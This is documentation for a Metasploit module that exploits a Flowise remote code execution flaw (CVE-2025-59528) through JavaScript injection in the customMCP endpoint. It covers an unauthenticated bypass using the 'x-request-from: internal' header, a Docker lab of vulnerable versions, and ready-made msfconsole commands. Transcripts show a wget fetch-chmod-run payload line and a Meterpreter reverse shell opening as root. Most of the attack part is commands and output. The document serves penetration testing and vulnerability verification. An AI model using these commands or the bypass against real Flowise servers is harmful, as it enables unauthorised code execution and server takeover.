## Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in Flowise versions >= 2.2.7-patch.1 and < 3.0.6.
The vulnerability exists in the customMCP endpoint (`/api/v1/node-load-method/customMCP`) which allows JavaScript code injection
in the `mcpServerConfig` parameter via the `convertToValidJSONString` function that uses `Function('return ' + inputString)()`.
For versions < 3.0.1, the exploit uses the `x-request-from: internal` header to bypass authentication when Basic Auth is not configured.

The vulnerability was fixed in version 3.0.6 by replacing `Function('return ' + inputString)()` with `JSON5.parse(inputString)`.

### Authentication Requirements

The authentication behavior differs depending on the Flowise version:

- **Versions < 3.0.1**: The exploit can work **unauthenticated** if `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables
  are not configured (uses `x-request-from: internal` header to bypass authentication). If Basic Auth is configured,
  credentials are required even with the header.

- **Versions >= 3.0.1**: Authentication via `FLOWISE_EMAIL` and `FLOWISE_PASSWORD` is **required** due to JWT token verification
  introduced in version 3.0.1.

## Setup

### Docker Setup

The easiest way to test different versions is using Docker. Use the provided `docker-compose-flowise.yml` file or create one
with the following content:

```yaml
version: '3.8'

services:
  flowise-2.2.7:
    image: flowiseai/flowise:2.2.7-patch.1
    container_name: flowise-2.2.7
    ports:
      - "3000:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

  flowise-3.0.0:
    image: flowiseai/flowise:3.0.0
    container_name: flowise-3.0.0
    ports:
      - "3001:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

  flowise-3.0.4:
    image: flowiseai/flowise:3.0.4
    container_name: flowise-3.0.4
    ports:
      - "3002:3000"
    environment:
      - PORT=3000
    restart: unless-stopped
    # Note: For Flowise 3.0.4, create user manually via web interface at http://localhost:3002
    # Test credentials: admin@test.com / Test12345!

  flowise-3.0.6:
    image: flowiseai/flowise:3.0.6
    container_name: flowise-3.0.6
    ports:
      - "3003:3000"
    environment:
      - PORT=3000
    restart: unless-stopped
```

Start all instances: `docker compose -f docker-compose-flowise.yml up -d`

This will run:
- Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable)
- Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable)
- Flowise 3.0.4 on port 3002 (authenticated required, vulnerable)
- Flowise 3.0.6 on port 3003 (fixed, not vulnerable)

### Testing with Docker Compose

Using the docker-compose.yml above, you can test all versions simultaneously:

**Test 2.2.7-patch.1 (port 3000, unauthenticated):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; check; exploit"
```

**Test 3.0.0 (port 3001, unauthenticated):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3001; check; exploit"
```

**Test 3.0.4 (port 3002, authenticated required):**
1. Access `http://localhost:3002` and create an admin account with:
   - Email: `admin@test.com`
   - Password: `Test12345!` (must be at least 8 characters, contain uppercase, and special character)
2. Run:
```bash
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3002; set FLOWISE_EMAIL admin@test.com; set FLOWISE_PASSWORD Test12345!; check; exploit"
```

**Test with Meterpreter (use Docker gateway IP 172.17.0.1):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp; set LHOST 172.17.0.1; set LPORT 5555; set FETCH_SRVHOST 172.17.0.1; set FETCH_SRVPORT 8081; run"
```

**Test 3.0.6 (port 3003, fixed - should return Safe):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3003; check"
```
Expected: `CheckCode::Safe("Version 3.0.6 is not vulnerable")`

## Verification Steps

1. Start a vulnerable Flowise instance (see versions above)
2. Launch msfconsole: `use exploit/multi/http/flowise_js_rce`
3. Set `RHOSTS` and `RPORT` (default: 3000)
4. For versions >= 3.0.1, set `FLOWISE_EMAIL` and `FLOWISE_PASSWORD`
5. Run `check` to verify vulnerability
6. Set payload and execute: `set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit`
7. Verify command execution (e.g., `docker exec flowise-2.2.7 ls -la /tmp/test_file`)

## Options

- **FLOWISE_EMAIL**: Email address for JWT authentication (required for versions >= 3.0.1)
- **FLOWISE_PASSWORD**: Password for authentication (JWT for >= 3.0.1, Basic Auth for < 3.0.1)
- **FLOWISE_USERNAME**: Username for Basic Auth (required if FLOWISE_USERNAME env var is set on target)

**Note**: For versions < 3.0.1, if Basic Auth is not configured on the target (no `FLOWISE_USERNAME`/`FLOWISE_PASSWORD`
environment variables), the exploit works unauthenticated using the `x-request-from: internal` header. If Basic Auth is configured,
credentials are required. For versions >= 3.0.1, JWT authentication is always required regardless of Basic Auth configuration.
The module uses `FETCH_COMMAND WGET` by default for meterpreter payloads.

## Scenarios

### Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1

```
msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_js_rce) > check
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured)
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_js_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_js_rce) > exploit
[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.
```

### Scenario 2: Authenticated Exploit on 3.0.4

```
msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3002
RPORT => 3002
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_EMAIL admin@test.com
FLOWISE_EMAIL => admin@test.com
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_PASSWORD Test12345!
FLOWISE_PASSWORD => Test12345!
msf exploit(multi/http/flowise_js_rce) > check
[*] Flowise version detected: 3.0.4
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 3.0.4 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (authentication required)
[+] Authentication successful
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_js_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_js_rce) > exploit
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.
```

### Scenario 3: Meterpreter Session on 2.2.7-patch.1

When using meterpreter payloads with Docker, use the Docker gateway IP (172.17.0.1) for both `LHOST` and `FETCH_SRVHOST`:

```
msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/flowise_js_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/flowise_js_rce) > set LPORT 5555
LPORT => 5555
msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVHOST 172.17.0.1
FETCH_SRVHOST => 172.17.0.1
msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf exploit(multi/http/flowise_js_rce) > set FetchListenerBindAddress 0.0.0.0
FetchListenerBindAddress => 0.0.0.0
msf exploit(multi/http/flowise_js_rce) > run

[*] Command to run on remote host: wget -qO ./nTQCwuECPCfS http://172.17.0.1:8081/-2XrDKPVG9i7xkemEnh_ug;chmod +x ./nTQCwuECPCfS;./nTQCwuECPCfS&
[*] Fetch handler listening on 0.0.0.0:8081
[*] HTTP server started
[*] Adding resource /-2XrDKPVG9i7xkemEnh_ug
[*] Started reverse TCP handler on 172.17.0.1:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured)
[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)
[*] Client 172.18.0.2 requested /-2XrDKPVG9i7xkemEnh_ug
[*] Sending payload to 172.18.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Meterpreter session 4 opened (172.17.0.1:5555 -> 172.18.0.2:41138) at 2025-11-19 21:58:27 +0100

meterpreter > sysinfo
Computer     : 172.18.0.2
OS           :  (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
```

## References

- CVE-2025-59528
- Original exploit: https://github.com/nltt-br
- Flowise repository: https://github.com/FlowiseAI/Flowise

